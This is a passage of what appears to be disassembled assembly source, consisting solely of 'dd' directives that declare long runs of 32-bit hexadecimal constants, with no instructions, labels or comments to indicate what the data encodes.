		dd 0C4025E98h, 30640EBh, 2CD08B73h, 0EACBDA7h, 4F7312E6h
		dd 0F92F0D4h, 66897F40h, 8C968024h, 0BF308AA4h,	0CD6C8143h
		dd 2F0E0FFBh, 0DD6332C9h, 0C1D77E0Ch, 0CC07D87Fh, 96754FA5h
		dd 3B275D00h, 5BF7C462h, 81BD288Fh, 7884ACh, 608DAC39h
		dd 9319D752h, 643CD49Ah, 9C20C882h, 1440E3D3h, 841829FBh
		dd 79E0BAh, 8D5121Eh, 2B5A486Ah, 3FD02461h, 319FCD39h
		dd 0F3EBD61h, 89286853h, 26846A0h, 5E3573EFh, 40BC33EAh
		dd 3A730819h, 35F701A0h, 0CD10A3B1h, 0E06980E4h, 11BAD464h
		dd 0B9933EF1h, 0B3945F3Bh, 677B87Dh, 481B7827h,	7602F00Fh
		dd 21A6C053h, 63B500E2h, 30823CEAh, 2505884h, 2F875DA8h
		dd 0F064D8D0h, 3924057Fh, 638FBC36h, 98968C55h,	581F2406h
		dd 38D20898h, 0D4D33900h, 3BD5C1B1h, 1EB62281h,	0B6205048h
		dd 0C22B7ACFh, 0F1E39178h, 1828FC69h, 2D9DA02Eh, 11709353h
		dd 95F70021h, 6289B684h, 0BD1B0FC5h, 11C1B29Ah,	24128268h
		dd 7F033F28h, 258F5E1Fh, 0EEE00F83h, 54E09D4Fh,	0B17AE847h
		dd 6B5388h, 4C5E5212h, 0AAD1482Ah, 37ECAD04h, 0C0C2C629h
		dd 0A66309Eh, 0F2DB2F08h, 4048646Ah, 4609EE14h,	61B0637Bh
		dd 9AF89F42h, 8100AED7h, 2532E395h, 781B7107h, 89F50239h
		dd 7C1DA75Eh, 5C0A84C4h, 8CCF18Fh, 0D500AC20h, 0CDD64B0Bh
		dd 0F0C6C7BEh, 3A20D2D0h, 292310h, 6A62E277h, 0CC91170Ah
		dd 2D075816h, 7A9361B8h, 0FA180126h, 0DD8D25BFh, 0CA58604Ch
		dd 3981097Fh, 0CD00C5E5h, 2548BA69h, 89DA8888h,	7820DCA6h
		dd 0F174FE8Dh, 0BA1E2000h, 58ECDE04h, 0F4970062h, 9760F2Bh
		dd 0CE491433h, 0E9C700C4h, 0DA8249ADh, 0A458D028h, 917D80Ch
		dd 0B7FA8F30h, 50971496h, 6263FC40h, 28847FE6h,	75B44FD9h
		dd 4881182Fh, 4BCE20E9h, 99EE4D14h, 7AF9F120h, 6F0ED318h
		dd 30E4AB1h, 18588DEh, 9E9D4680h, 280BAF5Bh, 0D8CBA4A4h
		dd 42CF3088h, 601791B6h, 72211B76h, 9081145Dh, 2602B0D9h
		dd 5A766C86h, 0D88D0C40h, 824F6C99h, 305E859Ch,	3A2013B3h
		dd 0A3AFFA2Fh, 1F3932D0h, 0EE207548h, 48EA6A47h, 0C1029CB5h
		dd 1ED6C539h, 500E0449h, 5ABE97C0h, 8ACFECA8h, 4FE49h
		dd 0DC1E350Ch, 9E397A1h, 0DFD0A752h, 142BEC00h,	80C4414Eh
		dd 0A48BFC29h, 8EC046C8h, 0F61F660h, 4481C09Fh,	96384092h
		dd 0BBFAC4D2h, 6411D702h, 80AE605Ah, 0B035F6DCh, 33020142h
		dd 0AF56DB37h, 59D8624Bh, 77F9601Ch, 9843454Ch,	21C66BADh
		dd 4A6ECC02h, 70C58C1h,	411B40CCh, 21A40156h, 58100574h
		dd 7CC72420h, 82418011h, 28AA7C50h, 0F711Ah, 0B7C829CBh
		dd 1B5EC565h, 7240BF61h, 32110B24h, 71FB10E0h, 8839099Ch
		dd 0C49320E2h, 86C9F8E0h, 72D83Fh, 8E25DBC2h, 0FBD1DEDh
		dd 4AAF599Bh, 0F002A97Ah, 8B0F7F3Dh, 0F2CC134Eh, 6BB0A244h
		dd 3BEF8099h, 96A5C5h, 0A4B2220Dh, 9843C279h, 0C8B5D61Bh
		dd 84314040h, 2188A248h, 71E1BF84h, 0F9143E01h,	88D80C41h
		dd 6488D5A6h, 7E5300C2h, 29EA83E2h, 4A00B40Fh, 7640AD46h
		dd 25DBDE21h, 0D8B02EC6h, 0F1015926h, 8F53AAD2h, 7C2284B1h
		dd 234C3A96h, 0C6BD00EEh, 8201D20Ch, 252BF705h,	80D8BC8Ah
		dd 39DB0A27h, 0CC0E7A0h, 8961D2A6h, 73FFAA00h, 90B07465h
		dd 0A9F801A8h, 5FF32743h, 23402930h, 8434012Ah,	18432DEEh
		dd 9BF98828h, 57D5841Fh, 97EB8E80h, 60FE1D6Ah, 0F3B521B2h
		dd 0D8B25CEDh, 6635AF10h, 6DE69D80h, 0BE26FE9Ah, 1F400CE9h
		dd 4A11C9DCh, 469046D7h, 0F814D93Dh, 30E0092Bh,	0A755311Dh
		dd 0DDE1C0D1h, 750C1AB6h, 3EF36507h, 0D697308Fh, 1D8745A0h
		dd 3506032Eh, 1EB44B20h, 2C38C2CCh, 825EE4C8h, 0D28A25h
		dd 3580F6D8h, 30F54CC6h, 1A2E3E7Ch, 0C4413444h,	0D5BC6C2Ch
		dd 0AFCB008Ch, 0AE353671h, 66EC4661h, 0A9C11702h, 0C820FED4h
		dd 800A2A48h, 4A156CDBh, 0BDCC419Bh, 38FAECD8h,	4FB2563Ch
		dd 3E632889h, 0FC490878h, 0B4D42890h, 84592224h, 0A9551701h
		dd 5830D81Ch, 0DF5A0947h, 0C4C84AAh, 0DD3F850Eh, 54980560h
		dd 2D38A1h, 296E4FC1h, 4489D0C7h, 8090A8BAh, 95BEFB13h
		dd 0A5FA860h, 3ADB1020h, 8047C86Bh, 0E00A6717h,	0EC04092Ah
		dd 0DCC18EFDh, 64050081h, 10204CDDh, 7862802h, 333F1880h
		dd 984FF13Bh, 65FE5805h, 4450554Dh, 0E0032B80h,	5B992C01h
		dd 0E2348h, 6C991489h, 0DAB81E8h, 208E5C13h, 1C7AFA78h
		dd 28FF1C3Dh, 6A1C8779h, 0CCADC4Eh, 0E40FA825h,	0C88ED6FBh
		dd 9BC0D788h, 3DCF328Ah, 4217DB01h, 890047B5h, 493BE0h
		dd 3DD453DEh, 7150D0E3h, 12413E28h, 0B09BFC02h,	110A61BCh
		dd 884ADB22h, 69198146h, 0F8E98D0Ah, 27285A48h,	8CA1241Bh
		dd 2822156Eh, 226C9009h, 48611499h, 8BE0A833h, 5509992Ah
		dd 40DE11B7h, 4C76C114h, 158E58A8h, 4A2CECE0h, 2A3B19B7h
		dd 1AC613A4h, 0BC2F9C17h, 7E001D23h, 8C2AAFBAh,	0A4C905Ch
		dd 0E5D481DBh, 0B47C45CCh, 3700C4FCh, 2F2B93D5h, 5A2EE94Dh
		dd 40A4094Bh, 59DD2022h, 0AFF4FC90h, 3A9F0D04h,	30F0D889h
		dd 5B170A2Fh, 40D0ECA9h, 81B78669h, 4C64C4A7h, 8E9E9260h
		dd 0D8BF640Fh, 0D9D781C6h, 0B082D05Ah, 3BA25C2Bh, 18FA8E8h
		dd 8EA0D14Ch, 81112B98h, 7525C7A4h, 0DA5DAF00h,	0DE827094h
		dd 40D7DF87h, 58D09AD8h, 2D81DCD5h, 872989FCh, 0A1DB2E58h
		dd 28EC250Bh, 0F59D7C07h, 0EC534745h, 55E23402h, 0D6D48430h
		dd 38FCB4h, 356D431Ch, 0AA23DFFAh, 0C29D3F0Fh, 0A4ABAEF0h
		dd 48C02E65h, 48A35261h, 0C9E2C19h, 9D08FB97h, 8EF54781h
		dd 0A6C17074h, 16BB3AC8h, 5886FACh, 74CE4F72h, 88388BB8h
		dd 8088C04Dh, 0C0121C51h, 0CD0CD84h, 3F81150h, 6A4DECC5h
		dd 77E06213h, 410042EBh, 1B96CBB0h, 0F8B73347h,	62393044h
		dd 1A826739h, 0C190B661h, 15D33889h, 9CD8A7B8h,	9495B900h
		dd 0AFB421EBh, 8D90F53Dh, 28767E39h, 0DC88B04Eh, 211EEDC8h
		dd 96CECB80h, 0DACF3444h, 44B75021h, 0B9A1B080h, 497D6306h
		dd 500014AFh, 0DB62D8A9h, 860072DFh, 35C9167Fh,	43C6A22h
		dd 665CBF0Bh, 8FE8A03Fh, 5697120h, 42324C2Dh, 18CA010h
		dd 0B80CDD41h, 0D645017Eh, 0DD347F7h, 0D579DCE6h, 83B2BB01h
		dd 42E9ED04h, 2D3C72EAh, 0AC267A31h, 2758593Ah,	0A4A42FB0h
		dd 4940DF40h, 0FFAEA57Dh, 0D04D2B02h, 80B1CA8Ah, 9F550BD0h
		dd 7C840247h, 18875262h, 2EB24848h, 3D3158B8h, 4DF4C168h
		dd 98739068h, 0F9E41610h, 307A20h, 7CE5C21Eh, 7190A93Eh
		dd 0E65C2505h, 642B1810h, 82A2628h, 3E41C639h, 0A64862F6h
		dd 0D968E251h, 181BD148h, 0E2799098h, 4CA4164Fh, 785C0550h
		dd 0FB9C01D5h, 78217A6Eh, 166064D4h, 0A849860h,	96A32D27h
		dd 9FF5007Ch, 29CB8084h, 0AB00755Ah, 731AEEDh, 0E2959050h
		dd 0C135138Bh, 4CC0A7Eh, 992FC09Ch, 1B584866h, 178EE090h
		dd 0C6510099h, 0DFC18998h, 7D5EAF5Eh, 0CCCF0812h, 42FE8388h
		dd 0B4B2F483h, 443148F2h
		dd 602C89F4h, 826158F1h, 0C8DF21CAh, 9D07E0Fh, 0A68CA0CEh
		dd 2F5A06BFh, 0D00CAC53h, 2204AA49h, 0CD44B09Fh, 4CD0D8B4h
		dd 0D70099D9h, 75ED4106h, 0C4000E51h, 0FF5DDDA4h, 0FEAE3F03h
		dd 0F4905CABh, 20EFC808h, 2F10C05Ah, 8894941Dh,	9E01D108h
		dd 0E038D752h, 4EEE4C20h, 4E580726h, 0A02154C0h, 0E00ABE4h
		dd 4C775C4Ah, 9C0B36B6h, 8A3F406Ch, 8757CCDBh, 12978440h
		dd 15C6DD21h, 444820A3h, 0F4BD610h, 974294DCh, 1804E512h
		dd 80A4459Eh, 5A6413E3h, 33CC909Bh, 0E91FDE77h,	170A05ACh
		dd 4FC1ACB6h, 0C7814A9h, 19C06B18h, 0B9676E44h,	9433978Ah
		dd 0C0B848E0h, 0E1D7A786h, 3CCA3800h, 51F5EB8Eh, 13090023h
		dd 0C283EF7Dh, 8225CFB3h, 0D4EC6192h, 4C6C17CDh, 2D851DC8h
		dd 0D0565Ch, 0A8348F44h, 35DDBEB8h, 94A93C5Bh, 0A77CF078h
		dd 184B0F34h, 0E8BC44ACh, 0AF83018Ch, 824A2F38h, 0E0885416h
		dd 55537138h, 31EAA22Ch, 774070EEh, 0C6F0AE0Ah,	0B412F4F2h
		dd 0AF506C80h, 51D3624Ah, 54E6D6D0h, 5A8E4C10h,	87451701h
		dd 6C533D16h, 8C27BC30h, 2B21320Bh, 581C0430h, 904FB890h
		dd 6FC20BB3h, 44A7FC1Ch, 3091CB02h, 1054D1A7h, 78D4B962h
		dd 0B0A92A93h, 5DB609B8h, 0D0A06AD7h, 21E213B3h, 552EE49Ah
		dd 811B9CBDh, 0D1F99BE9h, 0E7DC455Eh, 8DC613BFh, 0D29C87E0h
		dd 5840FDD1h, 0ED8B55A2h, 49C870CBh, 58B9C9C0h,	5C80650h
		dd 0C1DEA8D1h, 0D6B15507h, 81A2041Dh, 31D44060h, 0D2408275h
		dd 0A10F1CC2h, 2DD75E95h, 4C30D0D0h, 46245E36h,	18CFCCCCh
		dd 465E5C96h, 93A23B29h, 0E0D0BE2Fh, 0EE91B9A5h, 13335B12h
		dd 30D01464h, 0F0016323h, 0F25E3273h, 488ED18h,	63730009h
		dd 0A66BF2F3h, 0B8C40C32h, 5D002382h, 37FCBF81h, 89AC5350h
		dd 8018224Dh, 0DC39DAC3h, 0F88F97E6h, 0A92581B0h, 8039D6ECh
		dd 0E4B50E14h, 7435FA27h, 5E6C8A82h, 2D64407Dh,	4189ACCh
		dd 0E274462Ch, 2468C43Eh, 14B008BCh, 0F08432C0h, 7033482Dh
		dd 8040F3E2h, 0CA3CA91Dh, 0A0977471h, 2E6A813Ch, 93A8BC0Bh
		dd 0D0A05952h, 49C80F2Dh, 0D7B1DC0h, 129E4E64h,	89B00B98h
		dd 0BC1E0404h, 991CC09Ch, 3B6B2A4h, 0DFFB1A3h, 73A1E35Dh
		dd 6F3ED874h, 0DADDAB05h, 0CC613D03h, 8048C1D0h, 0C0F528AFh
		dd 613A61D4h, 0E1BE9661h, 0DD118B69h, 7DAC1059h, 0BD8CA825h
		dd 0EE14069Dh, 3E27EF31h, 0A5005E77h, 44A335DDh, 286A47F6h
		dd 24901E36h, 15D8C604h, 0D4098CFCh, 940269CDh,	68047225h
		dd 670064E2h, 6D425D02h, 1A00B9C5h, 385878Ch, 5039DB2Eh
		dd 83A95436h, 0BFC85FFCh, 6F84805Dh, 4C381191h,	3150E00h
		dd 0D6F6325Ch, 148A95F9h, 3D5C3D88h, 6010CF35h,	0F5C9C464h
		dd 0A0807E58h, 4A21AEFEh, 8AC446D1h, 0BE4A1853h, 0E81960D3h
		dd 9AD5C8h, 24F96470h, 67CC03B8h, 26524A05h, 948144AEh
		dd 3F01BE6Bh, 28412B36h, 0AF28A47h, 1D2B0400h, 59495C91h
		dd 18215974h, 2098099Ah, 0C28007D6h, 6290D5DCh,	11D35219h
		dd 68234F68h, 89C6112h,	0DD804204h, 0DE649B80h,	0D609152h
		dd 0E161383Fh, 0B65C302Dh, 0F6A8608Ah, 0B9608243h, 33F27C6Fh
		dd 0FCA6F278h, 207F3F11h, 22B86C90h, 0C25A4A8Ch, 4E43B160h
		dd 6118E5BBh, 808A5E07h, 0A9E160CDh, 7CE5AA7Ah,	7700B974h
		dd 0F2784A21h, 9ADB275Dh, 25CC9074h, 84A2701Dh,	390352C0h
		dd 0E143E8D3h, 63AD0905h, 0D8902F72h, 0F9C7C9B3h, 92481214h
		dd 697402C1h, 74C0AA6Eh, 0A60489F4h, 0E105A75Dh, 874C3C90h
		dd 0E2393544h, 0C83887A1h, 0AEA38F81h, 0B478E0E3h, 0A722D6A2h
		dd 869620DFh, 7604226Bh, 0BFA8E744h, 0A95C24D3h, 0E829E4A1h
		dd 645E1A11h, 2C407F48h, 0F951F48Dh, 1582480Bh,	4484966Ch
		dd 332E3F05h, 1550C4DBh, 2FF027h, 0FE48FC28h, 5B44B017h
		dd 0EC5F1813h, 85B28408h, 0A0ACA9DDh, 96014F1Ch, 22781D33h
		dd 59A0317Bh, 9A9002E8h, 0BF5261EEh, 7D0AAC5Ch,	5E82FC0Dh
		dd 0E8C26248h, 4EA1DBECh, 2F2CC224h, 0D037C882h, 0BDD22B00h
		dd 84B9C03Fh, 3349DAB9h, 665AB212h, 4A162400h, 0A09F8272h
		dd 85DBF1FCh, 399C4601h, 0EED41DD9h, 8F5B05B7h,	22FCC6F9h
		dd 620118Ch, 503E140Dh,	9F2DB033h, 1EC41C02h, 34E7D410h
		dd 0BC3124BDh, 8C47BCF0h, 9492A100h, 70AC3932h,	0B0F0C485h
		dd 140302C9h, 1724E81Eh, 0E4A91639h, 0EFAC21DDh, 0B8BC04B3h
		dd 0E06BAD80h, 9F186936h, 7C6940BFh, 1707C03h, 0E2BFE12h
		dd 0BE720249h, 2D3C1370h, 0C8F36C82h, 0C98880E4h, 88E5D7F2h
		dd 1B604DE4h, 46240225h, 4C0BF495h, 96C44816h, 80DE0167h
		dd 824A5D6Bh, 54022B6Ah, 40C84954h, 0A8DD2D50h,	1EE3AC4h
		dd 87626305h, 29C6E3ADh, 3146176Ch, 0E49A0D0h, 3BE498F2h
		dd 88482C1Ah, 88502651h, 0F29F27E8h, 3920A7AEh,	97251323h
		dd 822891E4h, 0C08C4C79h, 80DCA138h, 5309C22Ch,	21D9D696h
		dd 9A6D2ACh, 5F631FCh, 0DACFF914h, 264E39Bh, 0F4A152B1h
		dd 98F081D1h, 7C228F46h, 3A414F00h, 764AAFF3h, 0BFFA6C9Ah
		dd 8689206Fh, 0FD19EF62h, 79809438h, 6502BFCBh,	54A1B71Ch
		dd 0D8FB07C0h, 0BB46A9Ah, 0CFF164AAh, 0B5025C51h, 0A4C5DF3h
		dd 81BF1944h, 123820EEh, 907C0489h, 492020A5h, 1897419Bh
		dd 9FE1BA4h, 0C764D6EFh, 66A5F851h, 64859570h, 0B02C648Eh
		dd 0B554DD3Ch, 5245C03Ch, 9A8C81E4h, 4BCE1814h,	58FA205Eh
		dd 0FC24BC81h, 315364D1h, 8B58A8BFh, 0F254099Eh, 0AA78A858h
		dd 31FCE519h, 7FC1133Eh, 2C648854h, 196E5C09h, 0FCC4C0CEh
		dd 0AD87690h, 3ED3D0CCh, 4C0D84C4h, 8F8F6h, 5FE6847h, 4E1F0F5Ah
		dd 0DB902082h, 0F858DCA9h, 740896CCh, 6C17AD12h, 392D691h
		dd 0EB132FAEh, 0CD89A80Bh, 9E6C6444h, 71465620h, 8150FB1Dh
		dd 83DB9B6Fh, 46BC6047h, 8605717Bh, 0C5B1A75Ch,	53B87890h
		dd 0D0C12CBFh, 74327048h, 7C624788h, 88489E42h,	0DD1FC5ADh
		dd 278C5355h, 0F8C49069h, 893A124Ah, 761409C8h,	0D620AC64h
		dd 54F0905Ah, 411E0CBBh, 31FD303Bh, 3412344Eh, 0A8005CB2h
		dd 46E3B49Eh, 30017F05h, 2618472Bh, 0AF204897h,	39C00A62h
		dd 1FCCF7B4h, 0E730642Dh, 491985D0h, 6844C9F4h,	8C880507h
		dd 0A01E3B26h, 89EB1BE2h, 64B8B176h, 81DB4248h,	42856B8h
		dd 0B945C3A7h, 65CD10F4h, 0B507984Ch, 26A8827Eh, 0C4082059h
		dd 7B41C1h, 91C60F2Bh, 0ECB47519h, 0F28947D4h, 7E891789h
		dd 0A02CAFAEh, 850B381Bh, 904D0084h, 61F2E8BBh,	3E897FBh
		dd 0BA62EBB8h, 895920C1h, 6110E090h, 0AFF53987h, 0A1229C02h
		dd 0CE8D9F0h, 0ACA0153Fh, 2907AAC7h, 6A34A549h,	0C9958900h
		dd 62B3018h, 0B3BA6610h, 18FF5B3Eh, 0E9182115h,	280E10Eh
		dd 0AD2D2228h, 8239CF10h, 659300B5h, 8577FC6Ah,	610F73C0h
		dd 0E8602D25h, 0B0D8011h, 0DB2F31EAh, 0F39D38BFh, 8C760981h
		dd 0F06C0AEEh, 8B6E0FACh, 295B002Dh, 0C00BE9BDh, 8589617Eh
		dd 2E77017Fh, 76B9660Ch, 43B5BD11h, 0D78A186Dh,	28BD8B08h
		dd 0C30C32EDh, 3E85204h, 5A20610Eh, 548944C3h, 302EA2BFh
		dd 5242211Bh, 0CCB801C3h, 8FF90F93h, 958BE0BCh,	2B0ACD28h
		dd 111D66CCh, 5D85198Dh, 0DC29A203h, 18C01981h,	0E926B950h
		dd 6A61030Fh, 0C9CA8001h, 0F4420A6Fh, 0C358874Ah, 31448922h
		dd 5040101Ch, 0C85902C3h, 32F938A0h, 0E8C97663h, 9D238007h
		dd 58BD2778h
		dd 0CA82C07Bh, 0FCF65B3h, 0F9725961h, 0C7D3FF68h, 0E11D40Ah
		dd 0B09E91Bh, 0C21471A0h, 0C3C4E300h, 0BD83F5D5h, 0CC086C45h
		dd 1A448436h, 0FA8B3266h, 0CDAADCF8h, 0BB711525h, 2918E91Bh
		dd 0D3DBDD8h, 0B26793A4h, 0A1720B2Fh, 0B529001Bh, 99A82C75h
		dd 5534BD03h, 94080F2Ah, 559C551h, 624C8984h, 41221794h
		dd 0E3A48051h, 2AFFC05Ah, 32397FB5h, 0CA13079h,	6155A02Fh
		dd 23BD212h, 343B1B7h, 804177BCh, 0D63BA16Bh, 391815D1h
		dd 8A8A5748h, 0F8619B0Bh, 85254E9h, 837041CBh, 0B6AB1A14h
		dd 8870808h, 0B1202889h, 8F9A5955h, 9102B5A0h, 5F0E5723h
		dd 7C8944C3h, 47201862h, 73D1C357h, 2B7E3497h, 7550894h
		dd 0F9BF13BBh, 0DC10701h, 6691106Ah, 0C35E8756h, 1C748922h
		dd 0C3564600h, 0B7531B71h, 0C1F3A039h, 2C968224h, 60E95144h
		dd 0F97C0B0Ah, 2E024DEEh, 0D54EA313h, 0C8384C52h, 5BC35390h
		dd 5C8991C3h, 4380EB23h, 1525C353h, 614A0D03h, 0D02499F9h
		dd 3CBB70Fh, 8D236059h,	960206B1h, 30ECBF66h, 81164661h
		dd 6326CA8Ah, 9164E850h, 1818D953h, 9875047Bh, 8252F75Ah
		dd 89A40D94h, 545C9959h, 77F80912h, 1A91481Fh, 0EBA2B180h
		dd 48265A5Bh, 670AA4D8h, 0C8836F6Ah, 90B5C27Eh,	1C285D7Ah
		dd 0E4B04006h, 503D440Dh, 8C19B876h, 0E3C2AE26h, 0F456E01h
		dd 1F810581h, 0F3CE1ABAh, 0CD45501Ch, 0C000E4BEh, 0A24E86B0h
		dd 49D3D7B2h, 0FF439480h, 923115F2h, 0B1CF7720h, 0DD890E75h
		dd 0C924EDD5h, 12E8C3BCh, 0A81D3B00h, 0A232E518h, 84000EEh
		dd 89412687h, 4606ABB6h, 0DE92F38h, 4AA7072Fh, 0D0A30B33h
		dd 9F296F60h, 0BA771614h, 0C2953CEBh, 0D52DBF0Ah, 0C5448AFh
		dd 540B10E9h, 0B12FE701h, 8D9C552Bh, 0F7805C8h,	0CC93BB7Fh
		dd 9BFAF3Ah, 0A9AFD800h, 72B9DCE8h, 429F09F5h, 2EB34155h
		dd 422B9C41h, 1565CE95h, 0B4B95100h, 585A1DDFh,	1AF8B85Fh
		dd 0BF030F8Ch, 0C1654B35h, 0F28430C6h, 0FD00985Eh, 0A3C06D0Ch
		dd 3C96D125h, 0BA066E97h, 2B806855h, 58E6AA80h,	8C036A2Ch
		dd 96593260h, 17FA184Fh, 8166A315h, 62AAF206h, 2913E9h
		dd 12D43639h, 415ECDE7h, 2031175h, 0BC0A9E0Fh, 0A5F6B10Ch
		dd 0E3BA3F83h, 3B1268A7h, 1720E9C0h, 3B8EB8h, 4A23A583h
		dd 3C1A6CA7h, 7244D07h,	9A75DA94h, 0A8FBDD08h, 2FFD26FCh
		dd 7D542EAh, 0C4B74512h, 4894601Bh, 5E0F02C2h, 0E9FF2193h
		dd 0EB00C1E4h, 5AF72F5Dh, 2E29ECh, 7D7F2AB7h, 0F0310587h
		dd 0F883C80Ah, 0CF0EEDFFh, 0ECE41404h, 58068C14h, 8BD9501h
		dd 698519D5h, 758AEC0Ch, 0E080429h, 613884AFh, 0EF028156h
		dd 5A5180FFh, 3BB46059h, 7C5B7024h, 0D3D048F9h,	8E18D331h
		dd 6381041Eh, 1EA6869Dh, 0D090830h, 8FC08B0Bh, 312708D8h
		dd 6401F976h, 88F97538h, 83168912h, 53501974h, 0D8B83812h
		dd 380B1E52h, 8DB82181h, 0DA21759Dh, 5BD3D485h,	17226258h
		dd 64782008h, 0A2C48CBCh, 600B2429h, 0A75EF02h,	218D620Fh
		dd 30610520h, 2A1A4AE3h, 4E3E4400h, 0B045CC0Ah,	0D0130F55h
		dd 264D42CFh, 357888C2h, 3F68092Fh, 6009DD0Eh, 0CA00E444h
		dd 345E36F3h, 58DE16E4h, 0D7047F2Ah, 0A061107Ah, 2980CBA6h
		dd 97CD69BDh, 7440A4Ch,	6B1102DDh, 6E2A6412h, 0F8C1AD40h
		dd 2E14144Ch, 0DE407DE9h, 2443FAAh, 0F3EE7BDh, 7F24D7FAh
		dd 1AEDE327h, 5355B75Dh, 3019A284h, 470958A9h, 2B3BF91h
		dd 0E71F05B1h, 6462913Ch, 5D615568h, 6C89C8C3h,	45583494h
		dd 0C4C31455h, 0BC63B5EBh, 58580969h, 0C9AA552h, 86C80FC0h
		dd 89139816h, 94E018Dh,	1F35C48Bh, 0DE62C9B6h, 0B0530275h
		dd 5077B185h, 14236B2Eh, 0B50B5E12h, 6B4394FAh,	0FF784D3h
		dd 496237B3h, 0A0EACC51h, 2C8ACF02h, 0C9DA5992h, 0C765D003h
		dd 8C9F1598h, 45FE3E76h, 0AEC82655h, 465E6703h,	55D72E17h
		dd 8D0BFB01h, 93541119h, 0D2946C00h, 0B0FC7Dh, 68493202h
		dd 8AD81DADh, 3BACE501h, 2B9FD419h, 0AFA91021h,	0E02A1D10h
		dd 4DC0E977h, 0F819C7F2h, 0EA5C39D5h, 0C343F100h, 7633474Ah
		dd 461C2A0h, 0A1D68B80h, 35DCEA86h, 950B0950h, 0F0A52BC9h
		dd 283BCB01h, 7B45ABFCh, 0BD010D09h, 0FE291145h, 7EDF29CEh
		dd 0D7D09B49h, 8509D13Fh, 7D1E20B1h, 24803244h,	0C95BE3DAh
		dd 350D4C02h, 532AE903h, 14B2C526h, 498B2830h, 89874DFAh
		dd 5E3416B5h, 0CB49507Fh, 0F1808234h, 902E4CD8h, 10D1208Ch
		dd 0E84827ACh, 0C0438038h, 0B0141319h, 1784FB5Fh, 0E0BD8D03h
		dd 0A6A55A2Bh, 4417F508h, 2541D873h, 8ABE5DF9h,	0BE09B9B2h
		dd 0E0C66051h, 0C1E91306h, 61A7CD08h, 81072852h, 1337B4DEh
		dd 14CBBF8h, 5846CB9Ah,	3059243Ah, 56B7AFECh, 94D70191h
		dd 881D7A87h, 290CCC7Ah, 0C2A487F4h, 1DEBB053h,	5173E7B6h
		dd 0C14FC309h, 16E1C421h, 1AD442Fh, 9ACCF1A4h, 31B0884Bh
		dd 13E80A27h, 0C1090127h, 0C444285Bh, 23795220h, 492DC600h
		dd 834CF2D1h, 0C294A204h, 5F940784h, 85998573h,	0C891C422h
		dd 0AB3FE95Dh, 2D303FC5h, 81B5D4C1h, 237C8492h,	19333D30h
		dd 4CB12F85h, 1DEC8F2Dh, 3554018Ch, 59662652h, 551BE0A2h
		dd 25208398h, 1206B02Dh, 8E29D580h, 0C215C846h,	0DD4BEF11h
		dd 0A282D1BAh, 120A0EA1h, 0B0FBD91Bh, 918C0FF3h, 0A7C2C39h
		dd 0C07434F9h, 0AA73F781h, 9E4A5431h, 4FEB9D31h, 0A56449AFh
		dd 49367128h, 9F008664h, 3AEF0432h, 2C231BE1h, 85F5FB20h
		dd 0DA21C98Dh, 0FED9C872h, 0CEF4D942h, 0C0188841h, 0ADA52D6Ah
		dd 3D8ED850h, 0DBF0A40h, 74B777E3h, 0F00D66C4h,	142CE213h
		dd 0F14AA8DFh, 0C8C7D109h, 21D04487h, 8A53F5D8h, 0F20F25C8h
		dd 5F89038Eh, 0BB50438Eh, 65200806h, 5B642E0Ch,	16F249E2h
		dd 75F79830h, 23E9484Dh, 2B863780h, 1E24DA60h, 3D1F3859h
		dd 7D3B98ADh, 44808401h, 1B25D680h, 15161050h, 63AD003Eh
		dd 36B7DAEBh, 0C800C40Ah, 8C30A825h, 256A04E0h,	0A9088B60h
		dd 1500E78h, 9F6471EBh,	0BD296005h, 389705E5h, 0B2FB962h
		dd 0E81585h, 91CA575Dh,	692CA364h, 0C9082351h, 5A5F0734h
		dd 80F30A68h, 3353C88Ah, 0B485D8Dh, 1239847Bh, 322A914h
		dd 1EC43BB2h, 8CB3240Dh, 0F2301AB2h, 7DE90623h,	0F67047C1h
		dd 0E9A9BD24h, 26550649h, 456290D3h, 4AC526E9h,	1700C86Eh
		dd 0B3860FFAh, 0F9115455h, 7F3B0BE8h, 0A6E69F80h, 77BE5EE0h
		dd 0FC265275h, 23C5D95Fh, 3DD43784h, 0B931D363h, 0C18C0C01h
		dd 0E1B81840h, 0AB041FD6h, 0E640AB5h, 3D17A1C7h, 0B898EE06h
		dd 8C6F3DCAh, 6483C311h, 860D2801h, 0BD0B1228h,	0E9D682A1h
		dd 0D6A0D064h, 97C51F5Dh, 94919195h, 2852983Dh,	0DA06293Ch
		dd 0F69445C1h, 96D7846Ch, 0AA8F1FF8h, 83E1772Eh, 25E59DB1h
		dd 0D3072C51h, 5160BC30h, 704C0099h, 0B0FEE8ABh, 0A0342634h
		dd 1F805836h, 99D6B70Fh, 0BC6F89Ah, 0BC6C28Fh, 0A4B90117h
		dd 3C385ECBh, 8C1BBCECh, 86857300h, 0E1820309h,	270E9013h
		dd 8D2A0261h, 82508E2h,	26FB9125h, 0D389736Ch, 1ED2202h
		dd 8F1B5133h, 2048E116h, 4BF632ADh, 14AE27D4h, 202F2459h
		dd 3E3C4A01h, 91523EFh,	0D6A14080h, 70194964h, 791A2FB7h
		dd 598D01E9h, 32DF0035h, 0C6240644h, 0CF995200h, 0F9E995F5h
		dd 82B6B8F1h, 1D49C181h, 0DDAC0E3Dh, 2FDDE48Fh,	10870F0Eh
		dd 0EFC06E14h, 0FF5323BCh
		dd 0F59FD1Eh, 0E35DF09h, 23468A5h, 18D19D09h, 0DBB3F692h
		dd 11402872h, 2562DE9h,	1691E89Dh, 0BDA86880h, 0FB12E9BFh
		dd 0C40422ABh, 0A4A40A69h, 45244A65h, 0B30C61D9h, 301AB2DAh
		dd 0DD05CFF1h, 9212217Ch, 23D2DA80h, 40E92F9Ah,	8210569Bh
		dd 0B21F0871h, 749FE4D5h, 0B0241446h, 15A10A98h, 820FC260h
		dd 0A120486Ch, 346A322Fh, 29C9057Eh, 91D6150h, 0DDEA207Bh
		dd 8A0905FDh, 68BB8207h, 0DB8C2001h, 448C3F6h, 19023396h
		dd 502DB2C6h, 6856059Ch, 0B0A8B852h, 0B581DFDh,	483CC90Bh
		dd 0B0046A7Dh, 0DD1041B5h, 0E481BE64h, 2D50D4CAh, 9B684780h
		dd 0EC4718ACh, 0F09D4A92h, 684F401Eh, 2F7B2661h, 87180980h
		dd 83E77128h, 286A537Dh, 85180A56h, 607575C0h, 64986841h
		dd 2ADB872Bh, 85EDD04Ch, 0A4684C83h, 0B48092E7h, 9D8B1120h
		dd 5B2E7ED4h, 0D995FD04h, 15AC7054h, 0CF03C72Ah, 0ED43D9E1h
		dd 260FB002h, 802B242Dh, 194FD185h, 21A6C74h, 0B5341953h
		dd 17449149h, 4456D28h,	0A5F79768h, 2F190492h, 2679A39h
